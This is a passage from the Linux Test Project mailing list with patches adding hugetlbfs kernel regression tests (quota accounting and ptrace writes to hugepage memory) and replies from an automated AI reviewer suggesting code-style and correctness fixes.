> +	p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED,

Could spaces be added around the "|" operator? make check-hugemmap41
reports this line as a kernel style violation.

> +	TST_EXP_EQ_LU((unsigned long)TST_RET, CONST);
> +}
> +
> +static void run_test(void)
> +{
> [...]
> +	do_poke(cpid, p);
> +	do_poke(cpid, p + getpagesize());
> [...]
> +	tst_res(TPASS, "ptrace write to hugepage succeeded");

Could the unconditional TPASS be removed? If either equality check reports
a mismatch, this line still claims that the operation succeeded. The two
TST_EXP_EQ_LU() calls already report their own pass results.

> +	.tags = (struct tst_tag[]) {
> +		{"linux-git", "ebed4bfc8da8"},
> +		{}
> +	},

Which ptrace regression is this tag intended to identify? ebed4bfc8da8 is
"hugetlb: fix absurd HugePages_Rsvd", which fixes reservation accounting
after truncating a mapped hugetlbfs file. This test neither truncates the
file nor checks HugePages_Rsvd, so a failure would print an unrelated
missing-fix hint.

Could the tag be removed, or replaced with the full 40-character hash of
the actual ptrace/hugetlb fix?

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pavrampu@linux.ibm.com  Sun Aug  9 17:15:59 2026
From: pavrampu@linux.ibm.com (Pavithra)
Date: Sun,  9 Aug 2026 20:45:59 +0530
Subject: [LTP] [PATCH v3] hugetlb/hugemmap: add hugemmap33 to test hugetlbfs
 quota accounting
Message-ID: <20260809151559.1797774-1-pavrampu@linux.ibm.com>

Test hugetlbfs quota accounting with filesystem size limits to check
for regressions in quota handling for MAP_PRIVATE and MAP_SHARED pages.

Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
---
v2 -> v3:
- Remove kernel_has_private_reservations() workaround; always expect
  QUOTA_FAIL per LTP policy of not working around kernel bugs
- Add linux-git tag and description referencing commit a1e78772d72b
  which introduced MAP_PRIVATE reservations at mmap() time
- Replace EXPECT_SUCCESS/SIGNAL/FAILURE with QUOTA_OK/FAIL/COW_FAIL
  to describe expected kernel behaviour rather than exit codes
- Report TPASS/TFAIL directly in do_map() child at point of outcome
  instead of propagating result via exit status
- Use single hugetlbfs mount with size= on MNTPOINT directly instead
  of a redundant second mount on a subdirectory
- Drop .needs_hugetlbfs; test mounts its own quota-limited instance
- Fix verify_quota_stat() to report TPASS on success
- Fix split string literal checkpatch warning
link to v2: https://lore.kernel.org/ltp/20260717160234.1163566-1-pavrampu@linux.ibm.com/
---
 runtest/hugetlb                               |   1 +
 testcases/kernel/mem/.gitignore               |   1 +
 .../kernel/mem/hugetlb/hugemmap/hugemmap33.c  | 222 ++++++++++++++++++
 3 files changed, 224 insertions(+)
 create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c

diff --git a/runtest/hugetlb b/runtest/hugetlb
index 6b35c1f42..c83955987 100644
--- a/runtest/hugetlb
+++ b/runtest/hugetlb
@@ -35,6 +35,7 @@ hugemmap29 hugemmap29
 hugemmap30 hugemmap30
 hugemmap31 hugemmap31
 hugemmap32 hugemmap32
+hugemmap33 hugemmap33
 hugemmap34 hugemmap34
 hugemmap35 hugemmap35
 hugemmap36 hugemmap36
diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
index e63a6dde7..f4c3dd1b0 100644
--- a/testcases/kernel/mem/.gitignore
+++ b/testcases/kernel/mem/.gitignore
@@ -35,6 +35,7 @@
 /hugetlb/hugemmap/hugemmap30
 /hugetlb/hugemmap/hugemmap31
 /hugetlb/hugemmap/hugemmap32
+/hugetlb/hugemmap/hugemmap33
 /hugetlb/hugemmap/hugemmap34
 /hugetlb/hugemmap/hugemmap35
 /hugetlb/hugemmap/hugemmap36
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c
new file mode 100644
index 000000000..c66ec1d78
--- /dev/null
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c
@@ -0,0 +1,222 @@
+// SPDX-License-Identifier: LGPL-2.1-or-later
+/*
+ * Copyright (C) 2005-2007 David Gibson & Adam Litke, IBM Corporation.
+ * Copyright (c) Linux Test Project, 2024
+ * Copyright (C) 2025-2026 Naveed & Pavithra, IBM Corporation.
+ * Assisted with AI tools
+ */
+
+/*\
+ * Test hugetlbfs quota accounting with filesystem size limits.
+ *
+ * The number of global huge pages available to a mounted hugetlbfs filesystem
+ * can be limited using a quota mechanism by setting the size attribute at
+ * mount time. Older kernels did not properly handle quota accounting for
+ * MAP_PRIVATE pages and MAP_SHARED reservations.
+ *
+ * Commit a1e78772d72b introduced MAP_PRIVATE reservations at mmap() time,
+ * so quota is checked upfront and mmap() fails with ENOMEM when over quota.
+ * Before this, quota was only checked at fault time resulting in SIGBUS.
+ *
+ * Root is required to mount the quota-limited hugetlbfs instance.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/vfs.h>
+#include <sys/statfs.h>
+#include <sys/mount.h>
+
+#include "hugetlb.h"
+
+#define MNTPOINT "hugetlbfs/"
+
+static long hpage_size;
+static int quota_mounted;
+
+/* map action flags */
+#define ACTION_COW		0x0001
+#define ACTION_TOUCH		0x0002
+
+/* Expected outcome for a quota test */
+#define QUOTA_OK		0
+#define QUOTA_FAIL		1
+#define QUOTA_COW_FAIL		2
+
+static void verify_quota_stat(long tot, long free, long avail)
+{
+	struct statfs s;
+
+	SAFE_STATFS(MNTPOINT, &s);
+
+	if ((long)s.f_blocks != tot || (long)s.f_bfree != free || (long)s.f_bavail != avail) {
+		tst_res(TFAIL, "Bad quota counters: total=%li free=%li avail=%li, expected %li %li %li",
+			(long)s.f_blocks, (long)s.f_bfree, (long)s.f_bavail,
+			tot, free, avail);
+		return;
+	}
+	tst_res(TPASS, "Quota counters are correct: total=%li free=%li avail=%li",
+		tot, free, avail);
+}
+
+static void do_map(unsigned long size, int mmap_flags, int action_flags,
+		   int expected)
+{
+	int fd;
+	char *a = MAP_FAILED, *b, *c = MAP_FAILED;
+	char path[PATH_MAX + 32];
+
+	snprintf(path, sizeof(path), "%s/test_file_%d", MNTPOINT, getpid());
+	fd = SAFE_OPEN(path, O_CREAT | O_RDWR, 0600);
+	SAFE_UNLINK(path);
+
+	a = mmap(NULL, size, PROT_READ | PROT_WRITE, mmap_flags, fd, 0);
+	if (a == MAP_FAILED) {
+		if (expected == QUOTA_FAIL &&
+		    (errno == ENOMEM || errno == ENOSPC)) {
+			tst_res(TPASS | TERRNO, "mmap failed as expected due to quota");
+			SAFE_CLOSE(fd);
+			return;
+		}
+		tst_res(TFAIL | TERRNO, "mmap failed unexpectedly");
+		SAFE_CLOSE(fd);
+		return;
+	}
+
+	if (expected == QUOTA_FAIL) {
+		tst_res(TFAIL, "mmap succeeded but quota exhaustion was expected");
+		goto cleanup_a;
+	}
+
+	if (action_flags & ACTION_TOUCH) {
+		for (b = a; b < a + size; b += hpage_size)
+			*b = 1;
+	}
+
+	if (action_flags & ACTION_COW) {
+		c = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
+		if (c == MAP_FAILED) {
+			if (expected == QUOTA_COW_FAIL &&
+			    (errno == ENOMEM || errno == ENOSPC)) {
+				tst_res(TPASS | TERRNO, "COW mmap failed as expected due to quota");
+				goto cleanup_a;
+			}
+			tst_res(TFAIL | TERRNO, "COW mmap failed unexpectedly");
+			goto cleanup_a;
+		}
+
+		if (expected == QUOTA_COW_FAIL) {
+			tst_res(TFAIL, "COW mmap succeeded but quota exhaustion was expected");
+			goto cleanup_c;
+		}
+
+		if (*c != 1) {
+			tst_res(TFAIL, "Data mismatch when setting up COW");
+			goto cleanup_c;
+		}
+		*c = 0;
+		SAFE_MUNMAP(c, size);
+	}
+
+	if (expected == QUOTA_OK)
+		tst_res(TPASS, "Quota test passed as expected");
+
+	SAFE_MUNMAP(a, size);
+	SAFE_CLOSE(fd);
+	return;
+
+cleanup_c:
+	SAFE_MUNMAP(c, size);
+cleanup_a:
+	SAFE_MUNMAP(a, size);
+	SAFE_CLOSE(fd);
+}
+
+static void run_quota_test(int expected,
+			   unsigned long size, int mmap_flags,
+			   int action_flags)
+{
+	pid_t pid;
+	int status;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		do_map(size, mmap_flags, action_flags, expected);
+		exit(0);
+	}
+
+	SAFE_WAITPID(pid, &status, 0);
+
+	if (WIFSIGNALED(status))
+		tst_res(TFAIL, "Child killed by unexpected signal %d", WTERMSIG(status));
+}
+
+static void run_test(void)
+{
+	tst_res(TINFO, "Testing unused quota cleanup for untouched mappings");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, 0);
+	verify_quota_stat(1, 1, 1);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, 0);
+	verify_quota_stat(1, 1, 1);
+
+	tst_res(TINFO, "Testing page instantiation within quota limits");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing page instantiation over quota");
+	run_quota_test(QUOTA_FAIL, 2 * hpage_size, MAP_SHARED, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing private mapping quota check");
+	run_quota_test(QUOTA_FAIL, 2 * hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing COW over quota");
+	run_quota_test(QUOTA_COW_FAIL, hpage_size, MAP_SHARED,
+		       ACTION_TOUCH | ACTION_COW);
+	run_quota_test(QUOTA_COW_FAIL, hpage_size, MAP_PRIVATE,
+		       ACTION_TOUCH | ACTION_COW);
+
+	tst_res(TINFO, "Testing operations within quota after failures");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, ACTION_TOUCH);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+}
+
+static void setup(void)
+{
+	char mount_opts[BUFSIZ];
+
+	hpage_size = tst_get_hugepage_size();
+
+	snprintf(mount_opts, sizeof(mount_opts), "size=%luK",
+		 hpage_size / 1024);
+
+	if (mount("none", MNTPOINT, "hugetlbfs", 0, mount_opts) == -1) {
+		if (errno == ENODEV)
+			tst_brk(TCONF, "hugetlbfs not supported");
+		tst_brk(TBROK | TERRNO, "mount() failed");
+	}
+	quota_mounted = 1;
+
+	tst_res(TINFO, "Mounted hugetlbfs with quota at %s (size=%luK)",
+		MNTPOINT, hpage_size / 1024);
+}
+
+static void cleanup(void)
+{
+	if (quota_mounted)
+		SAFE_UMOUNT(MNTPOINT);
+}
+
+static struct tst_test test = {
+	.tags = (struct tst_tag[]) {
+		{"linux-git", "a1e78772d72b"},
+		{}
+	},
+	.needs_root = 1,
+	.mntpoint = MNTPOINT,
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run_test,
+	.hugepages = {2, TST_NEEDS},
+};
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Sun Aug  9 17:34:49 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sun,  9 Aug 2026 15:34:49 +0000
Subject: [LTP] hugetlb/hugemmap: add hugemmap33 to test hugetlbfs quota
 accounting
In-Reply-To: <20260809151559.1797774-1-pavrampu@linux.ibm.com>
References: <20260809151559.1797774-1-pavrampu@linux.ibm.com>
Message-ID: <20260809153449.9165-1-linuxtestproject.agent@gmail.com>

Hi Pavithra,

On Aug 9, 2026, Pavithra wrote:
> hugetlb/hugemmap: add hugemmap33 to test hugetlbfs quota accounting

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pavrampu@linux.ibm.com  Sun Aug  9 18:22:02 2026
From: pavrampu@linux.ibm.com (Pavithra)
Date: Sun,  9 Aug 2026 21:52:02 +0530
Subject: [LTP] [PATCH v3] hugetlb/hugemmap: add hugemmap33 to test hugetlbfs
 quota accounting
Message-ID: <20260809162202.1811452-1-pavrampu@linux.ibm.com>

Test hugetlbfs quota accounting with filesystem size limits to check
for regressions in quota handling for MAP_PRIVATE and MAP_SHARED pages.

Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
---
v2 -> v3:
- Remove kernel_has_private_reservations() workaround; always expect
  QUOTA_FAIL per LTP policy of not working around kernel bugs
- Add linux-git tag and description referencing commit a1e78772d72b
  which introduced MAP_PRIVATE reservations at mmap() time
- Replace EXPECT_SUCCESS/SIGNAL/FAILURE with QUOTA_OK/FAIL/COW_FAIL
  to describe expected kernel behaviour rather than exit codes
- Report TPASS/TFAIL directly in do_map() child at point of outcome
  instead of propagating result via exit status
- Use single hugetlbfs mount with size= on MNTPOINT directly instead
  of a redundant second mount on a subdirectory
- Drop .needs_hugetlbfs; test mounts its own quota-limited instance
- Fix verify_quota_stat() to report TPASS on success
- Fix split string literal checkpatch warning
link to v2: https://lore.kernel.org/ltp/20260717160234.1163566-1-pavrampu@linux.ibm.com/
---
 runtest/hugetlb                               |   1 +
 testcases/kernel/mem/.gitignore               |   1 +
 .../kernel/mem/hugetlb/hugemmap/hugemmap33.c  | 222 ++++++++++++++++++
 3 files changed, 224 insertions(+)
 create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c

diff --git a/runtest/hugetlb b/runtest/hugetlb
index 6b35c1f42..c83955987 100644
--- a/runtest/hugetlb
+++ b/runtest/hugetlb
@@ -35,6 +35,7 @@ hugemmap29 hugemmap29
 hugemmap30 hugemmap30
 hugemmap31 hugemmap31
 hugemmap32 hugemmap32
+hugemmap33 hugemmap33
 hugemmap34 hugemmap34
 hugemmap35 hugemmap35
 hugemmap36 hugemmap36
diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
index e63a6dde7..f4c3dd1b0 100644
--- a/testcases/kernel/mem/.gitignore
+++ b/testcases/kernel/mem/.gitignore
@@ -35,6 +35,7 @@
 /hugetlb/hugemmap/hugemmap30
 /hugetlb/hugemmap/hugemmap31
 /hugetlb/hugemmap/hugemmap32
+/hugetlb/hugemmap/hugemmap33
 /hugetlb/hugemmap/hugemmap34
 /hugetlb/hugemmap/hugemmap35
 /hugetlb/hugemmap/hugemmap36
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c
new file mode 100644
index 000000000..c66ec1d78
--- /dev/null
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c
@@ -0,0 +1,222 @@
+// SPDX-License-Identifier: LGPL-2.1-or-later
+/*
+ * Copyright (C) 2005-2007 David Gibson & Adam Litke, IBM Corporation.
+ * Copyright (c) Linux Test Project, 2024
+ * Copyright (C) 2025-2026 Naveed & Pavithra, IBM Corporation.
+ * Assisted with AI tools
+ */
+
+/*\
+ * Test hugetlbfs quota accounting with filesystem size limits.
+ *
+ * The number of global huge pages available to a mounted hugetlbfs filesystem
+ * can be limited using a quota mechanism by setting the size attribute at
+ * mount time. Older kernels did not properly handle quota accounting for
+ * MAP_PRIVATE pages and MAP_SHARED reservations.
+ *
+ * Commit a1e78772d72b introduced MAP_PRIVATE reservations at mmap() time,
+ * so quota is checked upfront and mmap() fails with ENOMEM when over quota.
+ * Before this, quota was only checked at fault time resulting in SIGBUS.
+ *
+ * Root is required to mount the quota-limited hugetlbfs instance.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/vfs.h>
+#include <sys/statfs.h>
+#include <sys/mount.h>
+
+#include "hugetlb.h"
+
+#define MNTPOINT "hugetlbfs/"
+
+static long hpage_size;
+static int quota_mounted;
+
+/* map action flags */
+#define ACTION_COW		0x0001
+#define ACTION_TOUCH		0x0002
+
+/* Expected outcome for a quota test */
+#define QUOTA_OK		0
+#define QUOTA_FAIL		1
+#define QUOTA_COW_FAIL		2
+
+static void verify_quota_stat(long tot, long free, long avail)
+{
+	struct statfs s;
+
+	SAFE_STATFS(MNTPOINT, &s);
+
+	if ((long)s.f_blocks != tot || (long)s.f_bfree != free || (long)s.f_bavail != avail) {
+		tst_res(TFAIL, "Bad quota counters: total=%li free=%li avail=%li, expected %li %li %li",
+			(long)s.f_blocks, (long)s.f_bfree, (long)s.f_bavail,
+			tot, free, avail);
+		return;
+	}
+	tst_res(TPASS, "Quota counters are correct: total=%li free=%li avail=%li",
+		tot, free, avail);
+}
+
+static void do_map(unsigned long size, int mmap_flags, int action_flags,
+		   int expected)
+{
+	int fd;
+	char *a = MAP_FAILED, *b, *c = MAP_FAILED;
+	char path[PATH_MAX + 32];
+
+	snprintf(path, sizeof(path), "%s/test_file_%d", MNTPOINT, getpid());
+	fd = SAFE_OPEN(path, O_CREAT | O_RDWR, 0600);
+	SAFE_UNLINK(path);
+
+	a = mmap(NULL, size, PROT_READ | PROT_WRITE, mmap_flags, fd, 0);
+	if (a == MAP_FAILED) {
+		if (expected == QUOTA_FAIL &&
+		    (errno == ENOMEM || errno == ENOSPC)) {
+			tst_res(TPASS | TERRNO, "mmap failed as expected due to quota");
+			SAFE_CLOSE(fd);
+			return;
+		}
+		tst_res(TFAIL | TERRNO, "mmap failed unexpectedly");
+		SAFE_CLOSE(fd);
+		return;
+	}
+
+	if (expected == QUOTA_FAIL) {
+		tst_res(TFAIL, "mmap succeeded but quota exhaustion was expected");
+		goto cleanup_a;
+	}
+
+	if (action_flags & ACTION_TOUCH) {
+		for (b = a; b < a + size; b += hpage_size)
+			*b = 1;
+	}
+
+	if (action_flags & ACTION_COW) {
+		c = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
+		if (c == MAP_FAILED) {
+			if (expected == QUOTA_COW_FAIL &&
+			    (errno == ENOMEM || errno == ENOSPC)) {
+				tst_res(TPASS | TERRNO, "COW mmap failed as expected due to quota");
+				goto cleanup_a;
+			}
+			tst_res(TFAIL | TERRNO, "COW mmap failed unexpectedly");
+			goto cleanup_a;
+		}
+
+		if (expected == QUOTA_COW_FAIL) {
+			tst_res(TFAIL, "COW mmap succeeded but quota exhaustion was expected");
+			goto cleanup_c;
+		}
+
+		if (*c != 1) {
+			tst_res(TFAIL, "Data mismatch when setting up COW");
+			goto cleanup_c;
+		}
+		*c = 0;
+		SAFE_MUNMAP(c, size);
+	}
+
+	if (expected == QUOTA_OK)
+		tst_res(TPASS, "Quota test passed as expected");
+
+	SAFE_MUNMAP(a, size);
+	SAFE_CLOSE(fd);
+	return;
+
+cleanup_c:
+	SAFE_MUNMAP(c, size);
+cleanup_a:
+	SAFE_MUNMAP(a, size);
+	SAFE_CLOSE(fd);
+}
+
+static void run_quota_test(int expected,
+			   unsigned long size, int mmap_flags,
+			   int action_flags)
+{
+	pid_t pid;
+	int status;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		do_map(size, mmap_flags, action_flags, expected);
+		exit(0);
+	}
+
+	SAFE_WAITPID(pid, &status, 0);
+
+	if (WIFSIGNALED(status))
+		tst_res(TFAIL, "Child killed by unexpected signal %d", WTERMSIG(status));
+}
+
+static void run_test(void)
+{
+	tst_res(TINFO, "Testing unused quota cleanup for untouched mappings");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, 0);
+	verify_quota_stat(1, 1, 1);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, 0);
+	verify_quota_stat(1, 1, 1);
+
+	tst_res(TINFO, "Testing page instantiation within quota limits");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing page instantiation over quota");
+	run_quota_test(QUOTA_FAIL, 2 * hpage_size, MAP_SHARED, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing private mapping quota check");
+	run_quota_test(QUOTA_FAIL, 2 * hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing COW over quota");
+	run_quota_test(QUOTA_COW_FAIL, hpage_size, MAP_SHARED,
+		       ACTION_TOUCH | ACTION_COW);
+	run_quota_test(QUOTA_COW_FAIL, hpage_size, MAP_PRIVATE,
+		       ACTION_TOUCH | ACTION_COW);
+
+	tst_res(TINFO, "Testing operations within quota after failures");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, ACTION_TOUCH);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+}
+
+static void setup(void)
+{
+	char mount_opts[BUFSIZ];
+
+	hpage_size = tst_get_hugepage_size();
+
+	snprintf(mount_opts, sizeof(mount_opts), "size=%luK",
+		 hpage_size / 1024);
+
+	if (mount("none", MNTPOINT, "hugetlbfs", 0, mount_opts) == -1) {
+		if (errno == ENODEV)
+			tst_brk(TCONF, "hugetlbfs not supported");
+		tst_brk(TBROK | TERRNO, "mount() failed");
+	}
+	quota_mounted = 1;
+
+	tst_res(TINFO, "Mounted hugetlbfs with quota at %s (size=%luK)",
+		MNTPOINT, hpage_size / 1024);
+}
+
+static void cleanup(void)
+{
+	if (quota_mounted)
+		SAFE_UMOUNT(MNTPOINT);
+}
+
+static struct tst_test test = {
+	.tags = (struct tst_tag[]) {
+		{"linux-git", "a1e78772d72b"},
+		{}
+	},
+	.needs_root = 1,
+	.mntpoint = MNTPOINT,
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run_test,
+	.hugepages = {2, TST_NEEDS},
+};
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Sun Aug  9 18:38:36 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sun,  9 Aug 2026 16:38:36 +0000
Subject: [LTP] hugetlb/hugemmap: add hugemmap33 to test hugetlbfs quota
 accounting
In-Reply-To: <20260809162202.1811452-1-pavrampu@linux.ibm.com>
References: <20260809162202.1811452-1-pavrampu@linux.ibm.com>
Message-ID: <20260809163836.8800-1-linuxtestproject.agent@gmail.com>

Hi Pavithra,

On Sun, 9 Aug 2026, Pavithra wrote:
> hugetlb/hugemmap: add hugemmap33 to test hugetlbfs quota accounting

> 		if (expected == QUOTA_FAIL &&
> 		    (errno == ENOMEM || errno == ENOSPC)) {

Could these checks require ENOMEM rather than also accepting ENOSPC?
The documented behavior is ENOMEM, and hugetlbfs_file_mmap() deliberately
returns ENOMEM when hugetlb_reserve_pages() rejects the reservation.
Accepting ENOSPC here and in the COW check can hide an errno regression.

> 	a = mmap(NULL, size, PROT_READ | PROT_WRITE, mmap_flags, fd, 0);

Could this and the second tested mmap() call use TESTPTR() or an appropriate
TST_EXP_* wrapper? Subject syscalls should use the LTP result macros so the
return value and errno are captured consistently.

> 	char path[PATH_MAX + 32];

Could this use PATH_MAX? LTP path buffers should use PATH_MAX rather than a
custom larger size, and this constructed path is already bounded.

> +/hugetlb/hugemmap/hugemmap33

Could this entry move to
testcases/kernel/mem/hugetlb/hugemmap/.gitignore? New test binaries should be
ignored in their own leaf test directory rather than a parent directory.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pavrampu@linux.ibm.com  Sun Aug  9 19:16:46 2026
From: pavrampu@linux.ibm.com (Pavithra)
Date: Sun,  9 Aug 2026 22:46:46 +0530
Subject: [LTP] [PATCH] hugemmap/hugemmap41: Migrate ptrace-write-hugepage
 from libhugetlbfs
Message-ID: <20260809171646.1832676-1-pavrampu@linux.ibm.com>

This test verifies that ptrace POKEDATA and PEEKDATA operations work
correctly on hugepage-backed memory regions. Migrating it to LTP as
libhugetlbfs is not actively maintained.

Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
---
v6 -> v7:
- Add spaces around '|' in SAFE_MMAP() flags argument
- Remove unconditional TPASS; TST_EXP_EQ_LU() reports its own result
- Remove incorrect linux-git tag (ebed4bfc8da8 is unrelated to this test)
link to v6: https://lore.kernel.org/ltp/20260808170245.1548019-1-pavrampu@linux.ibm.com/
---
 runtest/hugetlb                               |   1 +
 testcases/kernel/mem/.gitignore               |   1 +
 .../kernel/mem/hugetlb/hugemmap/hugemmap41.c  | 130 ++++++++++++++++++
 3 files changed, 132 insertions(+)
 create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c

diff --git a/runtest/hugetlb b/runtest/hugetlb
index 6b35c1f42..621c9718a 100644
--- a/runtest/hugetlb
+++ b/runtest/hugetlb
@@ -40,6 +40,7 @@ hugemmap35 hugemmap35
 hugemmap36 hugemmap36
 hugemmap37 hugemmap37
 hugemmap38 hugemmap38
+hugemmap41 hugemmap41
 hugemmap05_1 hugemmap05 -m
 hugemmap05_2 hugemmap05 -s
 hugemmap05_3 hugemmap05 -s -m
diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
index e63a6dde7..9e706e1c8 100644
--- a/testcases/kernel/mem/.gitignore
+++ b/testcases/kernel/mem/.gitignore
@@ -40,6 +40,7 @@
 /hugetlb/hugemmap/hugemmap36
 /hugetlb/hugemmap/hugemmap37
 /hugetlb/hugemmap/hugemmap38
+/hugetlb/hugemmap/hugemmap41
 /hugetlb/hugeshmat/hugeshmat01
 /hugetlb/hugeshmat/hugeshmat02
 /hugetlb/hugeshmat/hugeshmat03
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
new file mode 100644
index 000000000..357a5d34b
--- /dev/null
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation.
+ * Copyright (c) 2026 Pavithra <pavrampu@linux.ibm.com>
+ */
+
+/*\
+ * Test :manpage:`ptrace(2)` write to hugepage memory.
+ *
+ * A child process maps a hugepage via hugetlbfs, zeroes it, and sends
+ * the mapped address to the parent. The parent attaches with
+ * :manpage:`ptrace(2)`, then uses PTRACE_POKEDATA and PTRACE_PEEKDATA
+ * to write and read back a known value at two different offsets within
+ * the hugepage, verifying that ptrace operates correctly on
+ * hugepage-backed memory regions.
+ *
+ * Requires root to mount hugetlbfs and for :manpage:`ptrace(2)`
+ * PTRACE_ATTACH to work across processes when ptrace_scope is
+ * restrictive.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "hugetlb.h"
+
+#define CONST	0xdeadbeefL
+#define MNTPOINT "hugetlbfs/"
+
+static long hpage_size;
+static int fd = -1;
+
+static void child(int hugefd, int pipefd[2])
+{
+	void *p;
+
+	SAFE_CLOSE(pipefd[0]);
+
+	p = SAFE_MMAP(NULL, hpage_size, PROT_READ | PROT_WRITE, MAP_SHARED,
+		      hugefd, 0);
+
+	memset(p, 0, hpage_size);
+
+	tst_res(TINFO, "Child mapped data at %p", p);
+
+	SAFE_WRITE(SAFE_WRITE_ALL, pipefd[1], &p, sizeof(p));
+	SAFE_CLOSE(pipefd[1]);
+
+	pause();
+	/* Child is killed by parent via SIGKILL, so cleanup is not reached */
+}
+
+static void do_poke(pid_t pid, void *p)
+{
+	tst_res(TINFO, "Poking at %p...", p);
+	SAFE_PTRACE(PTRACE_POKEDATA, pid, p, (void *)CONST);
+
+	tst_res(TINFO, "Peeking at %p...", p);
+	TEST(ptrace(PTRACE_PEEKDATA, pid, p, NULL));
+	if (TST_ERR)
+		tst_brk(TFAIL | TTERRNO, "ptrace(PEEKDATA) failed");
+
+	TST_EXP_EQ_LU((unsigned long)TST_RET, CONST);
+}
+
+static void run_test(void)
+{
+	int pipefd[2];
+	pid_t cpid;
+	void *p;
+	int status;
+
+	fd = tst_creat_unlinked(MNTPOINT, 0, 0600);
+
+	SAFE_PIPE(pipefd);
+
+	cpid = SAFE_FORK();
+
+	if (cpid == 0) {
+		child(fd, pipefd);
+		exit(0);
+	}
+
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_READ(1, pipefd[0], &p, sizeof(p));
+	SAFE_CLOSE(pipefd[0]);
+
+	tst_res(TINFO, "Parent received address %p", p);
+
+	SAFE_PTRACE(PTRACE_ATTACH, cpid, NULL, NULL);
+
+	SAFE_WAITPID(cpid, &status, 0);
+	if (!WIFSTOPPED(status))
+		tst_brk(TBROK, "Child %d was not stopped", cpid);
+
+	do_poke(cpid, p);
+	do_poke(cpid, p + getpagesize());
+
+	SAFE_KILL(cpid, SIGKILL);
+	SAFE_WAITPID(cpid, &status, 0);
+
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	hpage_size = tst_get_hugepage_size();
+}
+
+static void cleanup(void)
+{
+	if (fd != -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.mntpoint = MNTPOINT,
+	.needs_hugetlbfs = 1,
+	.hugepages = {1, TST_NEEDS},
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run_test,
+};
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Sun Aug  9 19:33:21 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sun,  9 Aug 2026 17:33:21 +0000
Subject: [LTP] hugemmap/hugemmap41: Migrate ptrace-write-hugepage from
 libhugetlbfs
In-Reply-To: <20260809171646.1832676-1-pavrampu@linux.ibm.com>
